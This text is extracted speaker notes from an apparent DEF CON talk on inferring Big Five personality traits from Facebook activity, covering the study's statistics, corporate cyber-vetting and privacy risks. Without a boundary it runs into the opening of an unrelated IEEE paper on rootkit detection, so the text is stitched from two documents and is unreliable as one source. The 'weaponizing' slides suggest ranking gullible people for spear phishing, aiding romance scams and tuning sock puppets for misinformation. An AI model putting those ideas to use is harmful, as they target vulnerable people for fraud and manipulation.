Stepford Wives http://en.wikipedia.org/wiki/The_Stepford_Wives Book: Snoop, What your stuff says about you, Sam Gosling concientiousness 20 General Flow of talk • ..Conscientiousness...those over acheiving, punctual types....the bane of my life :-) • Theyʼre •thorough, •dependable, •task focused •Or as Sam Golsing notes in his book.... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Conscientiousness Book: Snoop, What your stuff says about you, Sam Gosling Part Man, Part Machine, All Cop 21 General Flow of talk • ..Itʼs the RoboCop dimension • Part Man, Part Machine, All Cop....if you give this guy something to do, you can be pretty confident heʼll get it done, unlike References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Conscientiousness Book: Snoop, What your stuff says about you, Sam Gosling 22 General Flow of talk • ..Uncle Buck • In a typical movie role for John Candy, Uncle Buck is a bumbling disaster of someone to look after your kids. •(actually he comes good in the end, but initially at least he displays all the characteristics of someone low in Conscientiousness •disorganised •poor timekeeping •careless •impulsive •Next up is,,, References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Conscientiousness Movie: http://en.wikipedia.org/wiki/Uncle_Buck Book: Snoop, What your stuff says about you, Sam Gosling 23 General Flow of talk • ..Extroversion and perhaps my favourite movie idol, Ferris Bueller. •Ferris, high in extroversion is •talkative •energetic •enthusiastic •assertive •outgoing •social...highly social •Contrast Ferris to.... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Extraversion Movie : http://en.wikipedia.org/wiki/Ferris_Bueller's_Day_Off Book: Snoop, What your stuff says about you, Sam Gosling 24 General Flow of talk • ..Milton from Office-Space. •Miltonʼs •reserved •shy •quiet •Much happier in his office cube farm, tending to his red swingline stapler References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Extraversion Movie: http://en.wikipedia.org/wiki/Office_Space Book: Snoop, What your stuff says about you, Sam Gosling agreeableness 25 General Flow of talk • ..And for agreeableness, I chose...Forrest Gump •helpful •selfless - “How many people would have run back into the jungle to save Bubba?” •sympathetic •kind •forgiving •trusting... “I just did what Lieutenant Dan wanted...” •considerate •cooperative •Forrest Gump is one of the nicest guys youʼll ever meet. Unlike this guy... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Agreeableness Movie: http://en.wikipedia.org/wiki/Forrest_Gump Book: Snoop, What your stuff says about you, Sam Gosling Greed is Good 26 General Flow of talk • ..Gordon Gecko from the movie Wall Street •fault finding •quarrelsome •critical •harsh •aloof •blunt •A real nice piece of work with a tag line of “Greed is Good” •Interestingly, a number of studies have shown a link between people at the top of organizations (e.g. CEOʼs) and low agreeableness, theres a great article in Bloomberg Business Week called “The Sociopath Network”... •Our final dimension is... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Agreeableness Movie : http://en.wikipedia.org/wiki/Gordon_Gekko Bloomberg Business Week article on CEO sociopaths - http://bx.businessweek.com/social-networking/your-boss-could-be-a-sociopath-no-really/ 2681781844226532535-9353e88624c9ef773d051ad787f9cb82/ Book: Snoop, What your stuff says about you, Sam Gosling Neuroticism 27 General Flow of talk • ..Neuroticism, and for this, as in Sam Goslingʼs book, I opted for Woody Allen. Heʼs classically •anxious •easily ruffled, upset •worried •moody •In stark contrast to... References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Neuroticism More on Woody Allen - http://en.wikipedia.org/wiki/Woody_Allen Book: Snoop, What your stuff says about you, Sam Gosling 28 General Flow of talk • ..The Dude from the Big Lebowski •As well as a penchant for White Russians, heʼs •calm •relaxed •handle stress well •emotionally stable •Heʼs so laid back, heʼs almost horizontal •So there we have it. the Big 5 •Now weʼve introduced, very basically, personality traits, but letʼs take a look at some associated issues References Highly readable - http://en.wikipedia.org/wiki/Big_Five_personality_traits#Neuroticism Movie - http://en.wikipedia.org/wiki/The_Big_Lebowski Dudeism - http://dudeism.com/ Book: Snoop, What your stuff says about you, Sam Gosling Corporate Personality Testing 29 General Flow of talk •Now corporate types seem to love personality testing. Infact Myers Briggs assessments are almost ubiquitous in corporations •Anecdotally at least, many of the corporate types administering the tests on their staff really donʼt seem to understand it, itʼs real value and itʼs limitations •Itʼs important to stress that itʼs not worthless, but that it can be very dangerous when used in the wrong contexts without an understanding of the limitations. References A wide range of studies. For an easy read, this book Book - The Cult of Personality: How Personality Tests Are Leading Us to Miseducate Our Children, Mismanage Our Companies, and Misunderstand Ourselves Annie Murphy Paul Caveat, this book comes from the angle of finding issues. The truth is likely somewhere in the middle vetting 30 General Flow of talk •With all that said, research tells us that personality testing is used in pre-employment screening and vetting. •Anecdotally at least, many of the corporate types administering the tests on their staff really donʼt seem to understand it, itʼs real value and itʼs limitations •Itʼs important to stress that itʼs not worthless, but that it can be very dangerous when used in the wrong contexts without an understanding of the limitations. •Theres a wide range of research papers and articles about personality testing in employment / pre-employment screening and theyʼre worth hunting down. References A wide range of studies. For an easy read, this book Book - The Cult of Personality: How Personality Tests Are Leading Us to Miseducate Our Children, Mismanage Our Companies, and Misunderstand Ourselves Annie Murphy Paul Caveat, this book comes from the angle of finding issues. The truth is likely somewhere in the middle •Papers & articles - •“Reconsidersing the use of personality tests in personnel selection contexts” •“Personality testing in employment: useful business tool or civil rights violation” •“Companies use of psychometric testing and the changing demand for skills. A review of the literature” •“Employers relying of personality tests to screen applicants” vetting Cyber 31 General Flow of talk •Well, now with the advent of mass social network use, blogging etc (almost 1 in 12 people around the world are on Facebook) itʼs unsurprising to see these same corporates (and other organizations), turn to cyber vetting •They look at your Online Reputation or NetRep to determine if youʼd be a good choice or a bad one. Often this is something a hiring manager would do themselves, whether itʼs illegal or note. •but now weʼre seeing companies like this spring up. References A wide range of studies. For an easy read, this book Book - The Cult of Personality: How Personality Tests Are Leading Us to Miseducate Our Children, Mismanage Our Companies, and Misunderstand Ourselves Annie Murphy Paul 32 General Flow of talk •Social Intelligence. There are others around. •Actually, and itʼs important to stress this. I kind of like this company for a number of reasons. •If youʼre going to have someone look at your NetRep, Iʼd say itʼs better that a company like this do it in a controlled manner following strict guidelines. If you want to see what they do, thereʼs a great Gizmodo article. •But, the point here is. Companies can look at your online reputation today. Itʼs not entirely clear whether thereʼs a firm scientific basis for this, i.e. are we measuring the right variables and measuring them consistently? Given what I know about social intelligence, I suspect theyʼre on the money of what makes someone look more or less desirable. References Gizmodo article : http://gizmodo.com/5818774/this-is-a-social-media-background-check Social Intelligence : http://www.socialintel.com/home 33 General Flow of talk •So weʼve got out personality 101 and some insight into what companies do in terms of vetting. •Well, last october I flew to Austin and was browisng the self help section in the Airport and picked up..... References Keep Austin Weird you Will - origami - http://www.bookpeople.com/yoda Professor Sam Gosling 34 General Flow of talk •This book, Snoop. by Professor Sam Gosling at the University of Texas in Austin. •The fact I was flying to Austin was a complete coincidence. •In this book, Professor Gosling looks at what peoples rooms/living spaces say about them. For instance •A messy living space can indicate a lower degree of conscientiousness. •Motivational posters could indicated above average levels of neuroticism. •Itʼs a fascinating and easy read. I really recommend that you buy it. References Book: Snoop, What your stuff says about you, Sam Gosling Video : http://fora.tv/2008/06/16/Sam_Gosling-Snoop_The_Secret_Language_of_Stuff 35 General Flow of talk • In his book, he touched on the relationship of personality traits and facebook activity • This did two things. •Set alarm bells ringing in terms of privacy. •Triggers the nerd in me. I immediately wanted to know more References Book: Snoop, What your stuff says about you, Sam Gosling Video : http://www.youtube.com/watch?v=tVuoNAeTpUU <-- what facebook says about you. 36 General Flow of talk • I mentioned alarm bells because • Weʼve got personality tests that often put people into neat boxes...hint, people donʼt fit into neat boxes. • Weʼve got corporate types who love, but donʼt necessarily understand personality • Weʼve got an explosion of usage in social networks and • weʼve got companies cropping up only too happy to determine your NET REP on behalf of employers •Now, if youʼre able to determine personality traits from people online activity, without asking... References Uh-oh 37 General Flow of talk • ...we have a problem • Do people know what theyʼre revealing in terms of personality? • Are we going to see some Minority Report style thought police? OK, Iʼm being sensational, but you get the idea. •So.... References Movie : http://en.wikipedia.org/wiki/Minority_Report_(film) 38 General Flow of talk • ...together with a friend and co-founder of “The Online Privacy Foundation” we discussed this over a beer •several beers •and some shots • we set about researching this to see to what extent you can predict personality from Facebook activity and of what practical use there is. You see, statistical significance is a different beast to practical significance...more on that later. •With that, as with all good pub related ideas go, we spent the next 9 months and a tone of money on developing a... facebook application and conducting our research References 39 General Flow of talk • ...which we called “The Big 5 Experiment” • In a nut shell, this is what the application / experiment does.... References •The Big 5 Personality Experiment https://www.onlineprivacyfoundation.org/?page_id=49 Answers to Personality test 74 Facebook data points Data Linguistic Inquiry & Word Count 40 General Flow of talk • ...it presents users with a 44 question personality test called “The Big Five Inventoryr” or BFI test, by Oliver John. •We actually added a 45th question about privacy •We requested, and where they existed pulled down 74 Facebook data points, including things with Photoʼs, Descriptions on Photos, Biography, Interests, Friends etc etc. Just about everything, expect email and chats. •We got a tone of data out, which we also examined for •Linguistic Inquiry and Word Count (Or LIWC). Take a look at Professor James Pennebakerʼs work on LIWC for more information. In simple terms ... References •The Big Five Inventory (BFI) - http://www.ocf.berkeley.edu/~johnlab/bfi.htm • Personality Experiment https://www.onlineprivacyfoundation.org/?page_id=49 •LIWC tools - http://www.liwc.net/ 41 General Flow of talk • LIWC examines the different types of words and punctuation used by people. •In this graphic we see how linguistic analysis was used during the last UK elections. This is Nick Clegg, our deputy prime minister and the analysis is telling us heʼs “The most vague” •This is a fascinating area of study in its own right....However, back to our study. We had a problem... References •The Big 5 Personality Experiment https://www.onlineprivacyfoundation.org/?page_id=49 •“THE UK ELECTION TELEVISED DEBATES - CAN PSYCHOLOGY UNRAVEL THE GAME PLAN?” http://knol.google.com/k/raj-persaud/the-uk-election-televised-debates-can/ 4kby5muufrzo/25# 42 General Flow of talk • You see, our handy app asks for A LOT of information. •This, for example, is Farmville. People complain about apps like this and yet it asks little (compared to us) . •By the way. other online personality studies also grab the same data as Farmville, thatʼs what differentiates our work from theirs. We look at more, although thats not to discredit their work (as weʼll show). •As a side note, the more access you request, the less likely it is for people to install your app. References •The Big 5 Personality Experiment https://www.onlineprivacyfoundation.org/?page_id=49 43 General Flow of talk • In the end, we targeted people through • Asking friends/family to take the test •Advertising on Facebook • Tweeting and re-tweeting. • Adding information on our project to Digg and Reddit and finally, the most successful approach •Flyer distribution and talking to people....Over 5,000 flyers. We really targets Chineham in the UK and Boise, Idaho in the USA. •And with that, we ended up with a lot of data. Data from 537 participants. but we had a problem. While we know a bit about statistics, weʼre not experts...so we quickly recruited one, gave her our data set and asked her to “figure it out” :-) •Please welcome Ali B to the podium References •The Big 5 Personality Experiment https://www.onlineprivacyfoundation.org/?page_id=49 ali b OnlinePrivacyFoundation.org 44 General Flow of talk •Please welcome Ali B to the podium References •OnlinePrivacyFoundation - who are we - https://www.onlineprivacyfoundation.org/?page_id=27 45 General Flow of talk •Tell a little bit about what I did with the data, the decisions we made along the way, let you know some of our results and then talk a little bit about what this actually means in the real world. •In performing this study, the first thing we had to do was come up with some hypotheses about what we thought the data might show us. Our null hypothesis was that there was no relationship between a personʼs personality type, their concerns over privacy issues and their Facebook activity. Our alternative hypothesis was that there was a relationship between these variables. •The first thing I had to do is familiarise myself with the data – if you donʼt know your data, you canʼt hope to analyse it properly. The first thing I did was to look at the demographics of the data and take a look at the age, sex and location of our participants. References •Facebook demographics - http://www.insidefacebook.com/2010/06/08/whos-using-facebook-around-the-world-the-demographics-of-facebooks-top-15-country-markets/ •Facebook demographics - http://www.ignitesocialmedia.com/social-media-stats/2011-social-network-analysis-report/#Facebook Country of Registration 46 General Flow of talk •The vast majority of our respondents were from the US and Great Britain, most likely reflecting the exposure we had in each of these countries in terms of advertising and word of mouth. However this isnʼt truly reflective of the overall distribution of Facebook users, as there are more users in Indonesia and India than there are in Great Britain. References Age and Sex 47 General Flow of talk •Over 2/3 of our participants were female, which differs from the sex split of the Facebook population, however, this may reflect higher tendencies in females to volunteer their time in studies such as these. This 2:1 ratio has also been noted in other studies of personality and online media. •The greatest proportion were in the 20 – 29 age group, and the overall age distribution of our sample is pretty representative of the underlying age distribution of all Facebook users. References 34.1% 34.1% 13.6% 13.6% 2.1% 2.1% 0.1% 0.1% Mean 48 General Flow of talk •Before I go on, Iʼm going to have to do a little housekeeping. Much of what I will be talking about refers to the Normal Distribution, so Iʼm just going to give a brief overview of what is meant by this. Iʼm sure many of you know this already, so my apologies, but if you donʼt get this, you wonʼt have a clue what Iʼm talking about for the next 5 minutes. •The normal distribution is pattern for the distribution of a set of data which follows this bell shaped curve. Many variables follow this pattern, for example, height, weight, IQ score – they all follow this distribution. •For a normal distribution, the mean, mode and median for the normal distribution are all the same - in the case of IQ, they are all 100 - the value in the centre of the bell curve. •A measure called the standard deviation is used to measure the spread of values across the bell curve. So, in terms of IQ, for example, about 68% of people will have an IQ level within 1 standard deviation above or below the mean, 95% of people will have an IQ that is within 2 standard deviations above or below the mean and 99% of people will have an IQ that falls within 3 standard deviations of the mean. •So thatʼs a whistle stop tour of the normal distribution, so hopefully the rest of this will make sense now. References 49 General Flow of talk •So after figuring out who was in our sample, my next step was to look at the responses to the questions themselves to decide how to analyse these variables. •Just in case you were interested, for almost all the analysis for this study, I used the Statistical package SPSS. •Firstly, I used SPSS to produce descriptive statistics of mean, median, stdev, minimum and maximum values and also skewness and kurtosis, which are indications of the shape of the distribution. I also created histograms of the data to be able to see the distributions. References •SPSS Software - http://www-01.ibm.com/software/uk/analytics/spss/ Number of Posts in February 2011 Frequency Mean = 29.61 Std. Dev. = 30.293 N = 467 Histogram 50 General Flow of talk •For example, a distribution like this has a very high positive skew and it is quite clear that it is not normally distributed. References Histogram Mean = 7.40 Std. Dev. = 3.196 N = 529 Frequency Personal Pronouns 51 General Flow of talk •A distribution like this, however, looks like it has potential to satisfy a normal approximation, so further tests need to be performed to see whether we can actually use a normal approximation or not. •I used SPSS to perform Kolmogorov-Smirnov tests for normality, which tests the data to see if it can be reasonably assumed that it fits the normal distribution. The results showed that actually none of the variables in our study could be considered normally distributed. References 52 Pearson Spearman 52 General Flow of talk •But why is this important? •When analysing data, there are two types of analysis – parametric and non-parametric, or in the case of correlational analysis like ours, Pearsonʼs Analysis or Spearmanʼs Analysis. •Pearsonʼs is better and much more preferable, as it looks at the magnitudinal differences between datapoints. But it can only be used on continuous data whose underlying population approximates the normal distribution and on variables whose relationship is linear. •Spearmanʼs, on the other hand, can be performed on rank order data, or on continuous data that does not satisfy the needs of Pearsonʼs test. However, if you use Spearmanʼs on continuous data, it converts all nominal values into ranks, therefore you lose the magnitude of difference between the variables, so Spearmanʼs can be less sensitive and less powerful than Pearsonʼs. •So in deciding what analysis to perform, we need to look at the data and decide if we can reasonably say that the samples come from a normally distributed population and that any two variables will have a linear relationship. If we can – Pearsonʼs, if not, Spearmanʼs. •BUT there is an exception to this rule called the Central Limit Theorem, which states that with sufficiently large sample sizes, all samples of a given population approach the normal distribution. Under this rule, our sample of 537 is ʻsufficiently largeʼ therefore, if we wanted to, we COULD, under the central limit theorem, sate that all variables were normally distributed and therefore use the preferred Pearsonʼs test. References Spearman 53 General Flow of talk •But despite all this, I still chose the Spearmanʼs test. There are 3 main reasons for this: 1. As I said before, the Kolmogorov-Smirnov tests for normality showed that none of the variables satisfied tests for normality 2. As far as I know, we know nothing of the underling population distributions, for example, what is the distribution of all 750 million Facebook usersʼ levels of neuroticism? So I wasnʼt happy to state that the underlying populations were normal, therefore the samples should be. 3. And finally, with sufficiently large sample sizes (as ours is), the Spearmanʼs test is only slightly less powerful than Pearsonʼs. •Taking all this into account, I thought we should err on the side of caution and use the Spearmanʼs test and be confident in our conclusions, rather than use Pearsonʼs and risk statistical errors. •Spearmanʼs has been used in other studies of online use and personality References 54 General Flow of talk •Our study was primarily a correlational study between the Big 5 personality aspects, self reported privacy concerns and Facebook activity. •It is important to remember that a correlation between two variables does not indicate a causal relationship between those two variables. For example.... References 55 General Flow of talk • ... there is a very strong correlation between ice cream sales and shark attacks. This does not mean that ice cream causes shark attacks, but that there is a related factor – the weather the warmer it is, the more people will buy ice creams and go swimming in the sea. Any correlational relationship we find must be regarded carefully, as there may well be a related factor that influences both variables. References Openness +ve correlations money religion death longer bio more interests 56 General Flow of talk •The analysis we performed on the data showed statistically significant findings that suggests that people with higher openness scores will use more words to do with negative emotions and anger and be more open to talking about things like money, religion and death. They will also write more about themselves and give more information about their hobbies and interests. References Openness -ve correlations family words per sentence 57 General Flow of talk •Conversely, they would use shorter sentences and be less likely to talk about their family. References Conscientiousness +ve correlations dictionary words positive emotion family age 58 General Flow of talk • Our study suggested that a person with high levels of conscientiousness will be older, use proper words and talk about their family, and use words to do with positive emotion and inclusion. References Conscientiousness -ve correlations negative emotion swearing anger death 59 General Flow of talk •Conversely, they are less likely to talk about death, to swear and use angry words or words to do with negative emotion. References Extraversion +ve correlations friends photos comments positive emotion biological processes 60 General Flow of talk •In terms of extroversion, our results indicated that people with high levels of extroversion will have more more Facebook friends, post more photos and comments and use words to do with friends, positive emotion and assent. References Extraversion -ve correlations books 61 General Flow of talk •On the other hand they would have fewer books listed on their Facebook page. References Agreeableness +ve correlations longer sentences positive emotion comments friends photos age 62 General Flow of talk •Our study suggested that a person with higher levels of agreeableness will be older, have more friends on Facebook, and post more photos and comments. They will also use longer sentences, but perhaps fill spaces with words like er or um, and use words to do with positive emotion. References Agreeableness -ve correlations 63 General Flow of talk •We found no statistically significant negative associations with agreeableness References Neuroticism +ve correlations negative emotions longer posts swearing sadness albums anxiety anger 64 General Flow of talk •And finally, our study showed that people with higher levels of neuroticism tend to post more photo albums, have longer posts and swear more, as well as using words to do with negative emotion, anxiety, anger and sadness. References Neuroticism -ve correlations 65 General Flow of talk •Again, we found no statistically significant negative associations with neuroticism. References 66 General Flow of talk •So what? Iʼve said a lot about statistical significance, but what does all this mean in the real world? To explain this, Iʼm afraid I need to go back to the stats. •When performing a correlational analysis using SPSS, this is what the output looks like. References H0 = There is no relationship H1 = There is a relationship 67 General Flow of talk •This value is called the p value and it lets me know whether a correlation is statistically significant or not. But again, what does that mean? If we go back to our hypotheses: our Null Hypothesis stated that there was no relationship between personality and Facebook activity. Our alternative hypothesis stated that there is a relationship between personality and Facebook activity. •The p value is the probability of, if the null hypothesis is true, itʼs the probability that we could find a result at least as extreme as the one we observed in our study. So basically, the smaller the p value is, the more evidence we have to reject the null hypothesis and accept that there is a relationship between our variables. •So in translating this correlation to having meaning in the real world, weʼre not concerned with the p value, as all this tells us is the probability that weʼve made the right conclusion. To find out the strength of the relationship between these two variables, we need to look at this value, which is the r value, or the coefficient of correlation. •In correlational analysis, what you really want is a value as close to 1 or -1 as you can get, as this indicates a very strong relationship. So intuitively, we can see that in this case, it may be a statistically significant relationship but it doesnʼt appear to be a very strong one. •To find out exactly how strong, we need to square the r value to get what is called the coefficient of determination, and this will tell us the percentage of variance, or fluctuation, in one variable that can be predicted or explained by the other variable. In this case, if we square our r value of 0.24, we get roughly 0.05, which translates to 5%. So even thought this correlation is statistically significant, it illustrates that only 5% of the variance of one variable can be explained by the other. •In a nutshell, you have to look beyond the fact that something is statistically significant and start to look at the strength of the relationship. References stats are strong interpretation is key gives a competitive edge 68 General Flow of talk •A statistically significant result indicates that we are valid in stating that there is a relationship. •It does not indicate the strength of that relationship. •A result can be statistically significant, but only explain a small amount of variance in the data. References 69 General Flow of talk •The key thing to bear in, and since weʼre in vegas is that results give you an edge. •so if we take 100 people, it may mean that youʼll predict correctly 53% of the time. This isnʼt great for basing critical decisions on, but it means youʼre going to be right more often than not. • want to read more, check our fortunes formula and the eudeamonic pie. two great books References •Book - Fortune's Formula: The Untold Story of the Scientific Betting System That Beat the Casinos and Wall Street [Paperback] - William Poundstone •Book - The Eudaemonic Pie [Paperback] - Thomas Bass “if you want to make an educated bet, you would be crazy to bet against the odds.” 70 General Flow of talk •In other words •“if you want to make an educated bet, you would be crazy to bet against the odds” References verb \ˈwe-pə-ˌnīz\: to adapt for use as a weapon 71 General Flow of talk •letʼs take a look at “weaponizing” •Weʼre really looking at practical uses (good and bad)...and things this information should be used for, but probably will. •We could have called this section a number of things, but since this is DEF CON, we opted for “Weaponizing” References 72 General Flow of talk • Well, one of the most obvious and possibly benin uses is advertising / marketing. •we know thereʼs link between online advertising and people high in openness •We also know that people low in Conscientiousness are more impulsive, so perhaps we can hike the prices for impulsive people. •itʼs not like this hasnʼt happened in other contexts right? •As an advertiser, the odds are very appealing to us, we donʼt need to worry so much about incorrect predictions.... •So you could get different ads, based on personality and recent sentiment. • Maybe as a automobile manufacturer, you target your SUVʼs at Extroverts? References Five Factor model and impulsivity - http://www.subjectpool.com/ed_teach/y4person/2_facets/refs/Lynam_2001_impulsivity_as_NEO_facets.pdf URL’s to images and some rough thoughts/Notes =============================== But how can this be used for bad? It may be possible to tell something about somes personality from the ads they’re getting kenton B’s lockdown presentation - i.e. you might be able to ascertain something about someone simply by the ads they recieve http://www.istockphoto.com/stock-photo-249661-billboard.php?st=789ced5 73 General Flow of talk •If you want to see a really cool use of sentiment analysis, take a look at “we feel fine”.org Sentiment Analysis •In future, you might be able to “guess” someoneʼs personality through the ads they receive •Well advertising is perhaps a practical use, but what about something a little more interesting. References http://www.wefeelfine.org/ dating 74 General Flow of talk •dating! •Imagine being able to tell if he/sheʼs going to be high maintenance? •So if we look at their Facebook posts/activity and it suggests they might be high maintenance, then perhaps weʼll be forewarned and forearmed....and on the look out for other clues. •PROMISCUITY. can he canʼt keep it in his trousers? If heʼs high in openness, maybe his desire to experience new things also extends to other people •PLAYERS - ʻThe Rachel Papersʼ by Martin Amiss. The main character,Charles Highway, deftly adapts his personality/approach based on his pray. • You could write your dating profiles/email and running it through a personality filter to suggest tweaks and make you look more attractive to your target market. This would make a particularly interesting research project, perhaps for someoneʼs whoʼs currently single. •For some people, sizing up other people is a a skill already poses.. •Again, the odds work for us here. We donʼt mind being wrong, but we should be right, more often...slightly References 9 2 75 General Flow of talk •however, thereʼs a caveat here. •Generally speaking, you can only date a +/- 2 for your potential mate (looks wise), unless you have something else to offer/trade. Money, humour, status. •So in this case.... References 76 General Flow of talk •Itʼs “Access Denied” Iʼm afraid •But, if youʼre conducting a “romance scam”, youʼre not using your own pictures anyway, in which case, youʼve got yourself a new tool. •Now, thinking about scams... References Agreeableness & gullibility 77 General Flow of talk • we know that agreeableness is positively correlated with gullibility . • Further, a recent Cisco report talks about increase in spear phishing.. • So, imagine sifting through the (public) social media profiles of a group of peope with the help of Maltego by Paterva • So what if we could find people who may be more gullible than others, OR to put it another way, in rank order, who are the post pwnable people in a group. • If youʼre looking for the weakest point in a group, this should give you a headstart. <click to next slide> References Maltego - http://www.paterva.com/ URL’s to images and some rough thoughts/Notes =============================== http://www.istockphoto.com/stock-photo-9610849-target-locked.php?st=10c6eb2 78 General Flow of talk • It can probably help social engineers and scammers. This too would make for an interesting study References Sock Puppets 79 General Flow of talk •Following on from Personality enhanced spear-fishing, you may have seen some of the hacking events in the news earlier this year? •well, allegedly, it turns out you have “organisations” using fake personas, called, Sock Puppets. These sock puppets are used to feed misinformation and sway public opinion. •Rather than explain SockPuppets... References Tim Hwang “Help robots take over the internet...” 80 General Flow of talk •...Tim Hwang has a really nice video out on youtube that talks about a twitter competition using fake personas. itʼs called “"Exterminate, Exterminate: On the Robotic Subjugation of Twitter"” •Our untested hypothesis is that you can give your sock puppets personality traits and target them accordingly. either, you fire them at people who are more likely to be gullible or you know more about the pray and alter your approach accordingly. •so far, the edge, assuming we’re on the right end of it, is arguably useful to us.... References\ Tim Hwangʼs video http://videos.ignitesanfrancisco.com/HjQ/tim-hwang/ 81 General Flow of talk • •...but we have to be careful...this is how the media have already interrupted the research prior to ours. References “Facebook profiles reveal personality traits to researchers” 82 General Flow of talk •On May 9th this year we saw this article. •Their message is clear “Facebook can be used to predict personality”, which will be interpreted as “by only using facebook, employers can determine personality...” •The research makes no such claim, but the media do and theyʼre wrong, In this case, the odds of being wrong matter a lot •Now what happens if organizations start adding personality to cybervetting? We know personality has been misused in the past, thereʼs some well documented cases, so itʼs not unreasonable to suggest itʼll get added to cybervetting and itʼll be misused... References “Facebook can serve as a personality test” 83 General Flow of talk •Hereʼs another report...same topic. No mention of it only being so accurate.... •Worring isnʼt it References 84 General Flow of talk •So is it out of the question to assume that some smart ʻso and soʼ is going to draw this conclusion? • People who are higher in OPENNESS are more likely to try drugs. •but itʼs not 100% by far - same caveat as our research. •Some an employers gets 5000 resumes, maybe graduate intake for a highly sensitive company. Are they going to take a chance on people with the highest levels of openness is they equate that to the chance their employees might experiment with drugs? itʼs not toooo far fetched is it? References The Dark Triad Narcissism Machiavellianism Psychopathy 85 General Flow of talk •And hereʼs arguably “undesirable characteristics. •OK, potʼs one thing, but weʼve also seen studies where traits are mapped to something called, “The Dark Triad”, that is. •Narcissism •machiavellianism and •psychopathy. •all of a sudden, the potential for misuse seems a lot darker doesnʼt it. Youʼre not a number.....youʼre a label •Perhaps its amusing that your see these traits most evident is people at the top of organizations...again..not always References 86 General Flow of talk •So letʼs say you have some potentially interesting personality traits... •...and you use certain words in your posts...and/or •youʼre connected to known criminals.. •Is it too far a stretch that you might end up on a “Watch List”? After all, you could present a threat to national security. References 87 General Flow of talk •In a digital age, you canʼt leave your past behind •You probably will do things that others will disagree with •youʼll make mistakes •youʼll be judged •forever. •So what might you be able to do to sail under the radar? Adrian is going to lead us through this discussion. Please welcome Adrian to the podium. References adrian OnlinePrivacyFoundation.org 88 General Flow of talk References Subvert subverting evading 89 General Flow of talk • Iʼm going to take a look at evading/subverting anyone whoʼs trying to make decisions based on your online personality • So assuming this information is ever used in the wrong context.....how might you Subvert and or evade? • So, how might you subvert cybervetting? Well, perhaps the first question is why would you? youʼve got nothing to hide right? • what youʼre hiding and who youʼre hiding it from will influence what youʼre doing • the problem you have is that you donʼt really know what people are looking for, • Fortunately, today, youʼre best approach is... References Invisible man? 90 General Flow of talk • ...to not use social media or • really lock down your privacy settings and/or •different accounts/pseudonymns? •..but we shouldnʼt forget that someone can easily pretend to be you. ALSO... •Thereʼs not been much research into what not being on a social networks says about you. Further, itʼs not just whats out there in research papers, itʼs what prospective employers rightly or wrongly think. If I meet a 20 year old today, Iʼll be curious of why they donʼt use a social network. References FAIL 91 General Flow of talk •BTW...you’re probably on to a loser if you focus on language (e.g. translating to Russian), even if kids are using lyrics to communicate. You see, much of our work didnʼt care about language, but the activity on social networks. References tweak your personality 92 General Flow of talk •you could try tweak your personality? •what are you going to do, to WHO, and WHY. •very difficult to pull off....CONSISTENTLY •...and what would you change your personality to anyway? References URL’s to images and some rough thoughts/Notes =============================== http://www.istockphoto.com/stock-photo-4186791-funny-disguise.php?st=ff6e666 Desirable personality traits O C E A N Higher Lower 93 General Flow of talk • I looked at some published research on personality and career success, and this seemed to be the ball park you should aim for.... •....but itʼll depend on the career your going for. •...also, lets say you really are a high end extrovert...are you really going to be happy doing data entry? References personality filter Status message before Openness Extroversion Status message after 94 General Flow of talk • Hereʼs another idea. Itʼs a bit tongue in cheek, but it should make a point. •We are working on an app to “guess” your personality based on your facebook activity. •Weʼve also been discussing implementing a filter to suggest how you might alter how youʼre perceived. •This is what it could look like. References 95 General Flow of talk •Drugs might do it too...although weʼve been unable to find any studies looking at how personality changes after people have taken drugs, say like anti-depressants. Maybe you look less neurotic. itʼd be an interesting research project. We donʼt recommend doing this for fun though. •Do we really want to suggest people take drugs to ensure they meet some societal norm? •Are the edges of society really going to be smoked out? •So.... References vetting Cyber 96 General Flow of talk •Assuming organizations do start using Cyber Personality Profiling...and currently itʼs a big, but not far fetched assumption.... •where does this leave us...society References vive la différence. 97 General Flow of talk •In my opinion, shouldnʼt the best approach be that we embrace each others differences? •Itʼs unlikely though... References regulatory control 98 General Flow of talk • Maybe tight controls on how personality derived from social media is used. • Companies like Social Intelligence might indeed be the place places to add this dimension. Theyʼre then able to communicate the context in which the results should be used and more importantly. • this organizations can be highly regulated. • Iʼd sooner have a small number of experts doing this in a regulated manner, than a free for all. References Educate 99 General Flow of talk •When people talk about determining personality from Facebook or blogs. Point them at this research. Make sure theyʼre not drawing conclusions on facebook / OSNs alone....thereʼs a caveat of course.. •...perhaps one day, the accuracy of personality prediction from Online Social Networks will be much better. References question & challenge 100 General Flow of talk •Finally, where ever you see statistics in the press question their numbers •Challenge the science behind it. •Check out Bad Science by Ben Goldacre. A great read about the abuse of statistics in the media References Book - Bad Science, Ben Goldacre “Donʼt Believe the Hype” 101 General Flow of talk •Since we started with Public Enemy, itʼs only fitting to end with the,,, •“Donʼt believe the hype”...well, unless youʼve looked at the numbers. References The End 102 General Flow of talk • That concludes our talk. We will be taking questions. • [email protected][email protected][email protected] • We hope weʼve left you with an insight into personality traits, • what your Facebook activity might say about you and how you might conduct your own research (hint, get a statistician) • and with our final two sections, why you should care. We have to ensure this isnʼt used in the wrong contexts. References
pdf
0-7803-8367-2/04/$20.00 ©2004 IEEE Abstract-- Techniques and methods currently exist to detect if a certain type of rootkit has exploited a computer systems. However, these current techniques and methods can only indicate that a system has been exploited by a rootkit. We are currently developing a methodology to indicate if a rootkit is previously known or if it is a modified or entirely new rootkit. We present in this paper an application of our methodology against a previously unseen rootkit that was collected from the Georgia Tech Honeynet. We conduct our analysis process against this rootkit and are able to identify specific characteristics for subsequent detections of this rootkit. This ability will provide system administrators, researchers, and security personnel with the information necessary in order to take the best possible recovery actions. This may also help to detect and fingerprint additional instances and prevent further security instances involving rootkits. Index Terms-- forensics, Honeynet, rootkits, signatures I. INTRODUCTION Rootkits are a phenomenon that has recently drawn attention. Prior to rootkits, system utilities could be trusted to provide a system administrator with accurate information. Modern crackers have developed methods to conceal their activities and programs to assist in this concealment [1]. Rootkits are a serious threat to the security of a networked computer system. Modern operating systems are subject to a variety of exploits that allow hackers to gain root access on networked computer systems. This in turn, provides hackers with the ability to install rootkits on these compromised systems. System administrators need to 